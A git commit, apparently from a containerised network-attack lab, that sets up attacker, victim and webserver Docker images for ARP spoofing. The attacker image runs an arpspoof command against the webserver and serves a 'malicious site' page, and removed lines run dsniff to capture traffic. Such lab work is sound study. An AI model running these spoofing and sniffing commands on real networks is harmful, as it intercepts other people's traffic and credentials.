Avancement arpspoof

This commit is contained in:
iMax 2025-01-21 11:01:39 +01:00
parent d907d4df38
commit 86e69f5992
5 changed files with 40 additions and 7 deletions

View file

@ -3,8 +3,8 @@ WORKDIR /app
COPY react-page .
RUN npm i && npm run build
FROM debian:stable-slim
RUN apt-get update && apt-get install -y apache2 openssl ca-certificates \
FROM debian:bookworm-slim
RUN apt-get update && apt-get install -y apache2 openssl ca-certificates net-tools\
&& rm -rf /var/lib/apt/lists/* \
&& a2enmod ssl && a2ensite default-ssl
COPY 000-default.conf /etc/apache2/sites-available/000-default.conf

View file

@ -1,7 +1,15 @@
FROM debian:bookworm-slim
RUN apt-get update && apt-get install -y dsniff \
&& rm -rf /var/lib/apt/lists/*
FROM debian
COPY ./ip_forward /usr/local/bin/ip_forward
# CMD ["curl", "--insecure", "https://webserver/"]
CMD ["dsniff", "-i", "eth0", "-w", "/tmp/dsniff.out"]
COPY ./index1.html /var/www/html/
RUN apt-get update && apt-get install -y dsniff net-tools apache2 \
&& rm -rf /var/lib/apt/lists/* \
&& apache2ctl start
CMD ["arpspoof", "-i", "eth0", "-t", "webserver", "-r", "webserver"]

View file

@ -0,0 +1,11 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Page internet</title>
</head>
<body>
<h1>Site malveillant</h1>
</body>
</html>

5
docker/victim/dockerfile Normal file
View file

@ -0,0 +1,5 @@
FROM debian:bookworm-slim
RUN apt-get update && apt-get install -y curl python3 python3-pip \
&& rm -rf /var/lib/apt/lists/*